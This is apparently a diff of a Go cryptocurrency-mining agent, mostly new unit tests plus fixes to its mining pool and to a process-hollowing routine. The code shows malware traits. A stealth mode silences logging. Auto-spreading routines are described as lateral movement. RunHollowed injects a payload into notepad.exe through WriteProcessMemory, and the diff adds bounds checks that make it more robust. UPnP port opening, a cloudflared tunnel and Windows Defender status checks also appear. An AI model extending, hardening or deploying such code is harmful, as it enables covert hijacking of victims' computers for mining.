ServerURL: "https://primary.example",
BackupServerURLs: []string{"https://backup.example", "https://primary.example", " "},
}}
urls := buildServerURLList(cfg)
if len(urls) != 2 {
t.Fatalf("expected 2 urls, got %v", urls)
}
if urls[0] != "https://primary.example" || urls[1] != "https://backup.example" {
t.Fatalf("unexpected order: %v", urls)
}
}
func TestBuildServerURLListEmptyFallback(t *testing.T) {
cfg := config.RuntimeConfig{}
urls := buildServerURLList(cfg)
if len(urls) != 1 || urls[0] != "" {
t.Fatalf("expected single empty fallback, got %v", urls)
}
}
func TestBuildWSURL(t *testing.T) {
cases := []struct {
in, want string
err bool
}{
{"https://hub.example/", "wss://hub.example/ws/agent", false},
{"http://hub.example:8080", "ws://hub.example:8080/ws/agent", false},
{"hub.example", "ws://hub.example/ws/agent", false},
{"wss://hub.example/extra/", "wss://hub.example/extra/ws/agent", false},
{"ftp://hub.example", "", true},
}
for _, tc := range cases {
got, err := buildWSURL(tc.in)
if tc.err {
if err == nil {
t.Fatalf("%q: expected error", tc.in)
}
continue
}
if err != nil {
t.Fatalf("%q: %v", tc.in, err)
}
if got != tc.want {
t.Fatalf("%q: got %q want %q", tc.in, got, tc.want)
}
}
}
func TestFormatCmdErr(t *testing.T) {
got := formatCmdErr(os.ErrPermission, []byte("denied"))
if !strings.Contains(got, "permission denied") || !strings.Contains(got, "denied") {
t.Fatalf("unexpected: %q", got)
}
}
func TestReadLogTailDisabled(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
FileLogging: false,
StealthMode: true,
}}
_, err := readLogTail(cfg, 50)
if err == nil || !strings.Contains(err.Error(), "logging disabled") {
t.Fatalf("expected disabled error, got %v", err)
}
}
func TestReadLogTailFromInstallDir(t *testing.T) {
dir := t.TempDir()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
FileLogging: true,
StealthMode: false,
InstallBase: "custom",
InstallCustomBase: dir,
InstallRelativePath: ".",
}}
logPath := filepath.Join(dir, "miner.log")
content := "line1\nline2\nline3\nline4\n"
if err := os.WriteFile(logPath, []byte(content), 0644); err != nil {
t.Fatal(err)
}
got, err := readLogTail(cfg, 2)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(got, "line3") || !strings.Contains(got, "line4") {
t.Fatalf("expected tail lines, got %q", got)
}
if strings.Contains(got, "line1") {
t.Fatal("should not include older lines beyond tail")
}
}
func TestReadLogTailMissingFile(t *testing.T) {
dir := t.TempDir()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
FileLogging: true,
InstallBase: "custom",
InstallCustomBase: dir,
InstallRelativePath: ".",
}}
_, err := readLogTail(cfg, 10)
if err == nil || !strings.Contains(err.Error(), "miner.log not found") {
t.Fatalf("expected not found, got %v", err)
}
}
func TestNewAgentClientDefaults(t *testing.T) {
cfg := config.RuntimeConfig{AgentID: "agent-1"}
c := NewAgentClient(cfg)
if c.agentID != "agent-1" {
t.Fatalf("agent id %q", c.agentID)
}
if c.mesh == nil {
t.Fatal("mesh node should be initialized")
}
}

View File

@@ -0,0 +1,32 @@
package client
import (
"reflect"
"testing"
)
func TestParseDNSJSON(t *testing.T) {
cfg := parseDNSJSON(`{"servers":"1.1.1.1, 8.8.8.8","search":"corp.local, example.com"}`)
wantServers := []string{"1.1.1.1", "8.8.8.8"}
wantSearch := []string{"corp.local", "example.com"}
if !reflect.DeepEqual(cfg.Servers, wantServers) {
t.Fatalf("servers: %v", cfg.Servers)
}
if !reflect.DeepEqual(cfg.SearchDomains, wantSearch) {
t.Fatalf("search: %v", cfg.SearchDomains)
}
}
func TestParseDNSJSONInvalid(t *testing.T) {
cfg := parseDNSJSON(`not-json`)
if len(cfg.Servers) != 0 || len(cfg.SearchDomains) != 0 {
t.Fatalf("invalid json should yield empty config: %+v", cfg)
}
}
func TestParseDNSJSONSkipsEmptyFields(t *testing.T) {
cfg := parseDNSJSON(`{"servers":"","search":""}`)
if len(cfg.Servers) != 0 || len(cfg.SearchDomains) != 0 {
t.Fatalf("empty fields should be skipped: %+v", cfg)
}
}

View File

@@ -0,0 +1,69 @@
//go:build !windows
package client
import "testing"
func TestSplitHostPort(t *testing.T) {
host, port, ok := splitHostPort("0.0.0.0:22")
if !ok || host != "0.0.0.0" || port != "22" {
t.Fatalf("ipv4: host=%q port=%q ok=%v", host, port, ok)
}
host, port, ok = splitHostPort("[::1]:443")
if !ok || host != "::1" || port != "443" {
t.Fatalf("ipv6: host=%q port=%q ok=%v", host, port, ok)
}
_, _, ok = splitHostPort("bad")
if ok {
t.Fatal("invalid addr should fail")
}
}
func TestParseSSOutput(t *testing.T) {
raw := `State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1234,fd=3))
LISTEN 0 128 [::]:443 [::]:* users:(("nginx",pid=5678,fd=5))
`
r := &ListenPortsReport{}
parseSSOutput(r, raw)
if len(r.Ports) != 2 {
t.Fatalf("expected 2 ports, got %d: %+v", len(r.Ports), r.Ports)
}
if r.Ports[0].Port != 22 || r.Ports[0].Process != "sshd" || r.Ports[0].PID != 1234 {
t.Fatalf("port 22: %+v", r.Ports[0])
}
if r.Ports[1].Port != 443 || r.Ports[1].Process != "nginx" {
t.Fatalf("port 443: %+v", r.Ports[1])
}
}
func TestParseSSOutputDedupesPorts(t *testing.T) {
raw := `LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1,fd=1))
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=2,fd=2))
`
r := &ListenPortsReport{}
parseSSOutput(r, raw)
if len(r.Ports) != 1 {
t.Fatalf("duplicate port should dedupe, got %d", len(r.Ports))
}
}
func TestParseNetstatOutput(t *testing.T) {
raw := `Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd
tcp6 0 0 :::8080 :::* LISTEN 5678/java
udp 0 0 0.0.0.0:123 0.0.0.0:* 999/chronyd
`
r := &ListenPortsReport{}
parseNetstatOutput(r, raw)
if len(r.Ports) != 2 {
t.Fatalf("expected 2 tcp listeners, got %d: %+v", len(r.Ports), r.Ports)
}
if r.Ports[0].Port != 22 || r.Ports[0].PID != 1234 || r.Ports[0].Process != "sshd" {
t.Fatalf("first: %+v", r.Ports[0])
}
if r.Ports[1].Port != 8080 {
t.Fatalf("second: %+v", r.Ports[1])
}
}

View File

@@ -0,0 +1,44 @@
package client
import (
"encoding/json"
"strings"
"testing"
)
func TestListenPortsReportJSON(t *testing.T) {
if got := (*ListenPortsReport)(nil).JSON(); got != `{"ports":[],"count":0}` {
t.Fatalf("nil report: %q", got)
}
r := &ListenPortsReport{
Ports: []ListenPort{{Port: 22, Addr: "0.0.0.0", Proto: "tcp", Process: "sshd", PID: 99}},
}
got := r.JSON()
if !strings.Contains(got, `"count":1`) || !strings.Contains(got, `"port":22`) {
t.Fatalf("unexpected json: %s", got)
}
var decoded ListenPortsReport
if err := json.Unmarshal([]byte(got), &decoded); err != nil {
t.Fatal(err)
}
if decoded.Count != 1 || len(decoded.Ports) != 1 {
t.Fatalf("decoded: %+v", decoded)
}
}
func TestPatchStatusReportJSON(t *testing.T) {
pending := 3
days := 14
reboot := true
patch := "2026-01-01"
r := &PatchStatusReport{
PendingUpdates: &pending,
LastPatchDays: &days,
LastPatch: &patch,
RebootPending: &reboot,
}
got := r.JSON()
if !strings.Contains(got, `"pending_updates":3`) {
t.Fatalf("unexpected: %s", got)
}
}

View File

@@ -0,0 +1,89 @@
//go:build windows
package client
import "testing"
func TestJSONBoolHelpers(t *testing.T) {
m := map[string]interface{}{
"b": true,
"s": "true",
"n": "1",
"x": "false",
}
if v := jsonBool(m, "b"); v == nil || !*v {
t.Fatal("bool true")
}
if v := jsonBool(m, "s"); v == nil || !*v {
t.Fatal("string true")
}
if v := jsonBool(m, "n"); v == nil || !*v {
t.Fatal("numeric string true")
}
if v := jsonBool(m, "x"); v == nil || *v {
t.Fatal("string false")
}
if jsonBool(m, "missing") != nil {
t.Fatal("missing key")
}
}
func TestJSONIntHelpers(t *testing.T) {
m := map[string]interface{}{
"f": float64(42),
"i": 7,
"s": "99",
"b": "nope",
}
if v := jsonInt(m, "f"); v == nil || *v != 42 {
t.Fatalf("float64: %v", v)
}
if v := jsonInt(m, "i"); v == nil || *v != 7 {
t.Fatalf("int: %v", v)
}
if v := jsonInt(m, "s"); v == nil || *v != 99 {
t.Fatalf("string int: %v", v)
}
if jsonInt(m, "b") != nil {
t.Fatal("invalid string int")
}
}
func TestJSONStringHelpers(t *testing.T) {
m := map[string]interface{}{"ok": "value", "empty": ""}
if v := jsonString(m, "ok"); v == nil || *v != "value" {
t.Fatalf("string: %v", v)
}
if jsonString(m, "empty") != nil {
t.Fatal("empty string omitted")
}
}
func TestJSONStringSliceHelpers(t *testing.T) {
m := map[string]interface{}{
"one": "defender",
"multi": []interface{}{"a", "", "b"},
}
if got := jsonStringSlice(m, "one"); len(got) != 1 || got[0] != "defender" {
t.Fatalf("single: %v", got)
}
if got := jsonStringSlice(m, "multi"); len(got) != 2 || got[0] != "a" || got[1] != "b" {
t.Fatalf("multi: %v", got)
}
}
func TestJSONServiceSlice(t *testing.T) {
m := map[string]interface{}{
"services": []interface{}{
map[string]interface{}{
"name": "WinDefend",
"status": "running",
"start_type": "auto",
},
},
}
svcs := jsonServiceSlice(m, "services")
if len(svcs) != 1 || svcs[0].Name != "WinDefend" || svcs[0].Status != "running" {
t.Fatalf("services: %+v", svcs)
}
}

View File

@@ -0,0 +1,25 @@
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestRunSpreadOnceReturnsMessage(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
msg := RunSpreadOnce(cfg)
if msg == "" {
t.Fatal("expected non-empty status message")
}
if !strings.Contains(strings.ToLower(msg), "spread") {
t.Fatalf("unexpected message: %q", msg)
}
}
func TestStartAutoSpreaderNoOpWhenDisabled(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: false}}
// Should return immediately without panic.
StartAutoSpreader(cfg)
}

View File

@@ -0,0 +1,18 @@
package deploy
import (
"strings"
"testing"
)
func TestRunHollowedUnavailableWithoutTag(t *testing.T) {
err := RunHollowed("C:\\Windows\\System32\\notepad.exe", []byte{0})
if err == nil {
t.Fatal("expected error on default build")
}
msg := err.Error()
if !strings.Contains(msg, "hollowing") && !strings.Contains(msg, "not available") {
t.Fatalf("unexpected error: %q", msg)
}
}

View File

@@ -36,10 +36,19 @@ const (
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset. // rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) { func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
// Need at least 8 bytes from eLFANew to read numSections (offset 6, 2 bytes).
if uint32(len(payload)) < eLFANew+8 {
return 0, fmt.Errorf("payload too small to read section count at eLFANew 0x%x", eLFANew)
}
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:]) numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr) sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
for i := uint32(0); i < uint32(numSections); i++ { for i := uint32(0); i < uint32(numSections); i++ {
sec := payload[sectionsBase+i*40:] secOff := sectionsBase + i*40
// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
if uint32(len(payload)) < secOff+24 {
break
}
sec := payload[secOff:]
vAddr := binary.LittleEndian.Uint32(sec[12:]) vAddr := binary.LittleEndian.Uint32(sec[12:])
vSize := binary.LittleEndian.Uint32(sec[8:]) vSize := binary.LittleEndian.Uint32(sec[8:])
rawOff := binary.LittleEndian.Uint32(sec[20:]) rawOff := binary.LittleEndian.Uint32(sec[20:])
@@ -81,7 +90,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32)
} }
entryCount := (blkSize - 8) / 2 entryCount := (blkSize - 8) / 2
for i := uint32(0); i < entryCount; i++ { for i := uint32(0); i < entryCount; i++ {
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:]) entryOff := blockOff + 8 + i*2
// Bounds check: each reloc entry is 2 bytes.
if entryOff+2 > uint32(len(payload)) {
break
}
entry := binary.LittleEndian.Uint16(payload[entryOff:])
relType := entry >> 12 relType := entry >> 12
relOff := uint32(entry & 0x0FFF) relOff := uint32(entry & 0x0FFF)
@@ -240,12 +254,22 @@ func RunHollowed(targetExe string, payload []byte) error {
sectionsStart := 24 + uint32(sizeOfOptHdr) sectionsStart := 24 + uint32(sizeOfOptHdr)
patchedNT := patched[eLFANew:] patchedNT := patched[eLFANew:]
for i := uint16(0); i < numSections; i++ { for i := uint16(0); i < numSections; i++ {
secHdr := patchedNT[sectionsStart+uint32(i)*40:] secHdrOff := sectionsStart + uint32(i)*40
// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
if uint32(len(patchedNT)) < secHdrOff+24 {
return fmt.Errorf("section header %d out of bounds", i)
}
secHdr := patchedNT[secHdrOff:]
virtAddr := binary.LittleEndian.Uint32(secHdr[12:]) virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
rawSize := binary.LittleEndian.Uint32(secHdr[16:]) rawSize := binary.LittleEndian.Uint32(secHdr[16:])
rawOff := binary.LittleEndian.Uint32(secHdr[20:]) rawOff := binary.LittleEndian.Uint32(secHdr[20:])
if rawSize > 0 { if rawSize > 0 {
// Bounds check: source slice must be within patched buffer.
if uint64(rawOff)+uint64(rawSize) > uint64(len(patched)) {
return fmt.Errorf("section %d raw data [%d:%d] exceeds payload (%d bytes)",
i, rawOff, uint64(rawOff)+uint64(rawSize), len(patched))
}
ret, _, lastErr = procWriteProcessMemory.Call( ret, _, lastErr = procWriteProcessMemory.Call(
uintptr(pi.Process), uintptr(pi.Process),
newMem+uintptr(virtAddr), newMem+uintptr(virtAddr),

View File

@@ -0,0 +1,164 @@
package deploy
import (
"fmt"
"net/http"
"net/http/httptest"
"strings"
"testing"
)
func TestXMLEscape(t *testing.T) {
got := xmlEscape(`a&b<c>d`)
want := "a&amp;b&lt;c&gt;d"
if got != want {
t.Fatalf("got %q want %q", got, want)
}
}
func TestIntSliceStr(t *testing.T) {
got := intSliceStr([]int{22, 445, 5985})
want := []string{"22", "445", "5985"}
if len(got) != len(want) {
t.Fatalf("len %d != %d", len(got), len(want))
}
for i := range want {
if got[i] != want[i] {
t.Fatalf("[%d] got %q want %q", i, got[i], want[i])
}
}
}
func TestGetSubnet(t *testing.T) {
if got := getSubnet("192.168.1.42"); got != "192.168.1" {
t.Fatalf("got %q", got)
}
if getSubnet("bad") != "" {
t.Fatal("invalid ip should return empty")
}
if getSubnet("10.0.0.1") != "10.0.0" {
t.Fatalf("got %q", getSubnet("10.0.0.1"))
}
}
func TestCloseUPnPInvalidPort(t *testing.T) {
_, err := CloseUPnP(0)
if err == nil || !strings.Contains(err.Error(), "external port required") {
t.Fatalf("expected port error, got %v", err)
}
}
func TestResolveWANControlURL(t *testing.T) {
const igdXML = `<?xml version="1.0"?>
<root>
<device>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<controlURL>/ctl/IPConn</controlURL>
</service>
</serviceList>
</device>
</root>`
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, igdXML)
}))
defer srv.Close()
got, err := resolveWANControlURL(srv.URL + "/igd.xml")
if err != nil {
t.Fatal(err)
}
want := srv.URL + "/ctl/IPConn"
if got != want {
t.Fatalf("got %q want %q", got, want)
}
}
func TestResolveWANControlURLAbsolute(t *testing.T) {
const igdXML = `<?xml version="1.0"?>
<root>
<service>
<serviceType>urn:schemas-upnp-org:service:WANPPPConnection:1</serviceType>
<controlURL>http://192.168.0.1:49152/ctl/IPConn</controlURL>
</service>
</root>`
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, igdXML)
}))
defer srv.Close()
got, err := resolveWANControlURL(srv.URL + "/desc.xml")
if err != nil {
t.Fatal(err)
}
if got != "http://192.168.0.1:49152/ctl/IPConn" {
t.Fatalf("got %q", got)
}
}
func TestResolveWANControlURLMissingService(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, `<root><service><controlURL>/x</controlURL></service></root>`)
}))
defer srv.Close()
_, err := resolveWANControlURL(srv.URL)
if err == nil || !strings.Contains(err.Error(), "WANIPConnection service not found") {
t.Fatalf("expected service error, got %v", err)
}
}
func TestResolveWANControlURLMissingControlURL(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, `<root><serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType></root>`)
}))
defer srv.Close()
_, err := resolveWANControlURL(srv.URL)
if err == nil || !strings.Contains(err.Error(), "controlURL not found") {
t.Fatalf("expected controlURL error, got %v", err)
}
}
func TestUpnpGetExternalIP(t *testing.T) {
const soapResp = `<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:GetExternalIPAddressResponse xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewExternalIPAddress>203.0.113.10</NewExternalIPAddress>
</u:GetExternalIPAddressResponse>
</s:Body>
</s:Envelope>`
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method", http.StatusMethodNotAllowed)
return
}
fmt.Fprint(w, soapResp)
}))
defer srv.Close()
ip, err := upnpGetExternalIP(srv.URL)
if err != nil {
t.Fatal(err)
}
if ip != "203.0.113.10" {
t.Fatalf("got %q", ip)
}
}
func TestUpnpSOAPErrorResponse(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, `<errorCode>718</errorCode>`)
}))
defer srv.Close()
_, err := upnpSOAP(srv.URL, "AddPortMapping", "<body/>")
if err == nil || !strings.Contains(err.Error(), "AddPortMapping failed") {
t.Fatalf("expected SOAP error, got %v", err)
}
}

View File

@@ -0,0 +1,17 @@
package deploy
import (
"strings"
"testing"
)
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
_, err := StartCloudflaredTunnel("")
if err == nil || !strings.Contains(err.Error(), "server URL required") {
t.Fatalf("expected URL error, got %v", err)
}
_, err = StartCloudflaredTunnel(" ")
if err == nil {
t.Fatal("whitespace-only URL should fail")
}
}

View File

@@ -68,10 +68,12 @@ func main() {
} }
deploy.StartWatchdog(cfg) deploy.StartWatchdog(cfg)
deploy.StartAutoSpreader(cfg) // AutoSpreader is intentionally NOT started here. It is started inside
// AgentClient.authenticate() only after the server accepts our fleet secret,
// which verifies we are on an owned fleet before initiating lateral movement.
deploy.StartPassiveSpreader(cfg) deploy.StartPassiveSpreader(cfg)
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) { if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg) // First-run spread marker is cleared after auth succeeds (handled in client).
deploy.ClearFirstRunSpreadMarker(cfg) deploy.ClearFirstRunSpreadMarker(cfg)
} }

124
agent/main_test.go Normal file
View File

@@ -0,0 +1,124 @@
package main
import (
"io"
"log"
"os"
"path/filepath"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestShortIDLong(t *testing.T) {
if got := shortID("abcdef1234567890"); got != "abcdef12" {
t.Fatalf("shortID long = %q", got)
}
}
func TestShortIDShort(t *testing.T) {
if got := shortID("abc"); got != "abc" {
t.Fatalf("shortID short = %q", got)
}
}
func TestShortIDEmpty(t *testing.T) {
if got := shortID(""); got != "pending" {
t.Fatalf("shortID empty = %q", got)
}
}
func TestMustInstallPathUnknown(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
InstallBase: "custom",
}}
if got := mustInstallPath(cfg); got != "unknown" {
t.Fatalf("mustInstallPath invalid cfg = %q, want unknown", got)
}
}
func TestMustInstallPathTemp(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
InstallBase: "temp",
InstallRelativePath: "test-miner-install",
WorkerName: "w1",
BuildID: "build12345678",
}}
got := mustInstallPath(cfg)
if got == "unknown" || !strings.Contains(got, "test-miner-install") {
t.Fatalf("mustInstallPath temp = %q", got)
}
}
func TestSetupLoggingStealthDiscards(t *testing.T) {
prev := log.Writer()
t.Cleanup(func() { log.SetOutput(prev) })
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{StealthMode: true, FileLogging: true}}
setupLogging(cfg)
if log.Writer() != io.Discard {
t.Fatal("stealth mode should discard log output")
}
}
func TestSetupLoggingFileLoggingDisabled(t *testing.T) {
prev := log.Writer()
t.Cleanup(func() { log.SetOutput(prev) })
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FileLogging: false}}
setupLogging(cfg)
if log.Writer() != io.Discard {
t.Fatal("file logging disabled should discard output")
}
}
func closeLogFileWriter() {
if f, ok := log.Writer().(*os.File); ok {
_ = f.Close()
}
}
func TestSetupLoggingEnvLogFile(t *testing.T) {
prev := log.Writer()
dir := t.TempDir()
logPath := filepath.Join(dir, "nested", "agent.log")
t.Setenv("MINER_LOG_FILE", logPath)
t.Cleanup(func() {
closeLogFileWriter()
log.SetOutput(prev)
_ = os.Unsetenv("MINER_LOG_FILE")
})
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FileLogging: true}}
setupLogging(cfg)
if log.Writer() == io.Discard {
t.Fatal("MINER_LOG_FILE should enable file logging")
}
if _, err := os.Stat(logPath); err != nil {
t.Fatalf("expected log file at %s: %v", logPath, err)
}
}
func TestRedirectLogCreatesFile(t *testing.T) {
prev := log.Writer()
dir := t.TempDir()
path := filepath.Join(dir, "logs", "redirect.log")
t.Cleanup(func() {
closeLogFileWriter()
log.SetOutput(prev)
})
redirectLog(path)
log.Print("redirect test line")
if _, err := os.Stat(path); err != nil {
t.Fatalf("redirectLog should create %s: %v", path, err)
}
data, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(string(data), "redirect test line") {
t.Fatalf("log file contents: %q", data)
}
}

View File

@@ -0,0 +1,54 @@
package miner
import (
"strings"
"testing"
)
func TestNewEngineNotNil(t *testing.T) {
e := NewEngine()
if e == nil || e.cache == nil {
t.Fatal("NewEngine should allocate cache")
}
}
func TestEngineSetJobInvalidSeed(t *testing.T) {
e := NewEngine()
if err := e.SetJob("zz", strings.Repeat("00", 76)); err == nil {
t.Fatal("invalid seed hex should error")
}
}
func TestEngineSetJobInvalidBlob(t *testing.T) {
e := NewEngine()
seed := strings.Repeat("ab", 32)
if err := e.SetJob(seed, "not-hex"); err == nil {
t.Fatal("invalid blob hex should error")
}
}
func TestEngineHashAtNonceNoVM(t *testing.T) {
e := NewEngine()
hash, blob, err := e.HashAtNonce(0)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if hash != "" || blob != "" {
t.Fatalf("empty VM should return empty strings, got hash=%q blob=%q", hash, blob)
}
}
func TestEngineHashAtNonceShortBlob(t *testing.T) {
e := NewEngine()
seed := strings.Repeat("cd", 32)
if err := e.SetJob(seed, strings.Repeat("00", 20)); err != nil {
t.Fatal(err)
}
hash, blob, err := e.HashAtNonce(1)
if err != nil {
t.Fatal(err)
}
if hash != "" || blob != "" {
t.Fatalf("blob shorter than nonce offset should not hash, got hash=%q blob=%q", hash, blob)
}
}

View File

@@ -24,6 +24,10 @@ type Pool struct {
mu sync.RWMutex mu sync.RWMutex
currentJob *job.Job currentJob *job.Job
// jobGen is incremented atomically every time SetJob replaces the current job.
// Workers compare their local snapshot to detect job changes inside the inner
// hash loop without acquiring mu on every iteration.
jobGen atomic.Uint64
stopCh chan struct{} stopCh chan struct{}
wg sync.WaitGroup wg sync.WaitGroup
paused atomic.Bool paused atomic.Bool
@@ -62,16 +66,24 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
func (p *Pool) SetJob(job *job.Job) { func (p *Pool) SetJob(job *job.Job) {
p.mu.Lock() p.mu.Lock()
defer p.mu.Unlock()
p.currentJob = job p.currentJob = job
// Bump generation while holding the write-lock so workers that check jobGen
// inside their inner batch loop break out and re-snapshot the new job.
gen := p.jobGen.Add(1)
_ = gen
if job == nil { if job == nil {
p.mu.Unlock()
return return
} }
seed := job.SeedHash seed := job.SeedHash
if seed == "" && len(job.Blob) >= 64 { if seed == "" && len(job.Blob) >= 64 {
seed = job.Blob[:64] seed = job.Blob[:64]
} }
for _, engine := range p.engines { // Capture engines slice before releasing the lock.
engines := p.engines
p.mu.Unlock()
// Update all engines outside the pool lock — each Engine has its own mutex.
for _, engine := range engines {
if err := engine.SetJob(seed, job.Blob); err != nil { if err := engine.SetJob(seed, job.Blob); err != nil {
log.Printf("[miner] failed to set job: %v", err) log.Printf("[miner] failed to set job: %v", err)
} }
@@ -202,6 +214,10 @@ func (p *Pool) worker(id int, engine *Engine) {
continue continue
} }
// Snapshot the generation before the inner loop so we can detect a new
// job mid-batch and break early rather than hashing 256 stale nonces.
startGen := p.jobGen.Load()
for batch := 0; batch < 256; batch++ { for batch := 0; batch < 256; batch++ {
select { select {
case <-p.stopCh: case <-p.stopCh:
@@ -211,6 +227,10 @@ func (p *Pool) worker(id int, engine *Engine) {
if p.paused.Load() || p.remotePause.Load() { if p.paused.Load() || p.remotePause.Load() {
break break
} }
// New job arrived — abandon this batch and re-snapshot immediately.
if p.jobGen.Load() != startGen {
break
}
hashHex, _, err := engine.HashAtNonce(nonce) hashHex, _, err := engine.HashAtNonce(nonce)
if err != nil { if err != nil {

View File

@@ -0,0 +1,120 @@
package miner
import (
"strings"
"sync/atomic"
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
"crypto-miner-agent/stats"
)
func testPoolCfg() config.RuntimeConfig {
return config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "always",
MaxCPUUsage: 0,
MaxMemoryPct: 0,
MinFreeRAM: 0,
}}
}
func TestNewPoolDefaultsThreads(t *testing.T) {
p := NewPool(0, testPoolCfg(), stats.NewReporter(), nil)
if p == nil || len(p.engines) != 1 {
t.Fatalf("threads<=0 should default to 1 engine, got %d", len(p.engines))
}
}
func TestNewPoolMultipleEngines(t *testing.T) {
p := NewPool(3, testPoolCfg(), stats.NewReporter(), nil)
if len(p.engines) != 3 {
t.Fatalf("expected 3 engines, got %d", len(p.engines))
}
}
func TestPoolSetJobNil(t *testing.T) {
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
p.SetJob(nil)
p.mu.RLock()
defer p.mu.RUnlock()
if p.currentJob != nil {
t.Fatal("SetJob(nil) should leave current job nil")
}
}
func TestPoolSetJobDerivesSeedFromBlob(t *testing.T) {
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
blobPrefix := strings.Repeat("ee", 32)
blob := blobPrefix + strings.Repeat("11", 22)
j := &job.Job{ID: "j1", Blob: blob}
p.SetJob(j)
if p.engines[0].seedHex != blobPrefix {
t.Fatalf("seed from blob prefix = %q, want %q", p.engines[0].seedHex, blobPrefix)
}
}
func TestPoolHashesPerSecondAndReset(t *testing.T) {
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
p.hashesTotal.Store(1000)
p.hashesLastReset = time.Now().Add(-2 * time.Second)
rate := p.HashesPerSecond()
if rate <= 0 {
t.Fatalf("expected positive hashrate, got %f", rate)
}
p.ResetHashCounter()
if p.hashesTotal.Load() != 0 {
t.Fatal("ResetHashCounter should zero hashesTotal")
}
if p.HashesPerSecond() != 0 {
t.Fatalf("hashrate after reset with no hashes should be 0, got %f", p.HashesPerSecond())
}
}
func TestPoolRemotePause(t *testing.T) {
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
if p.IsRemotePaused() {
t.Fatal("new pool should not be remote-paused")
}
p.PauseRemote()
if !p.IsRemotePaused() {
t.Fatal("PauseRemote should set flag")
}
p.ResumeRemote()
if p.IsRemotePaused() {
t.Fatal("ResumeRemote should clear flag")
}
}
func TestPoolSetShareHandler(t *testing.T) {
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
var called atomic.Bool
p.SetShareHandler(func(jobID, nonce, hash string) {
called.Store(true)
})
p.handlerMu.RLock()
h := p.handler
p.handlerMu.RUnlock()
if h == nil {
t.Fatal("handler should be set")
}
h("j", "n", "h")
if !called.Load() {
t.Fatal("swapped handler should run")
}
}
func TestPoolMiningAllowedAlways(t *testing.T) {
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
if !p.miningAllowed() {
t.Fatal("always mode with resource limits disabled should allow mining")
}
}
func TestPoolResourcesOKDisabledLimits(t *testing.T) {
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
if !p.resourcesOK() {
t.Fatal("zero resource limits should allow mining")
}
}

91
agent/miner/pool_test.go Normal file
View File

@@ -0,0 +1,91 @@
package miner
import (
"math/big"
"strings"
"testing"
)
func TestUint32ToHexLittleEndian(t *testing.T) {
got := uint32ToHex(0x01020304)
want := "04030201"
if got != want {
t.Fatalf("uint32ToHex(0x01020304) = %q, want %q", got, want)
}
}
func TestUint32ToHexZero(t *testing.T) {
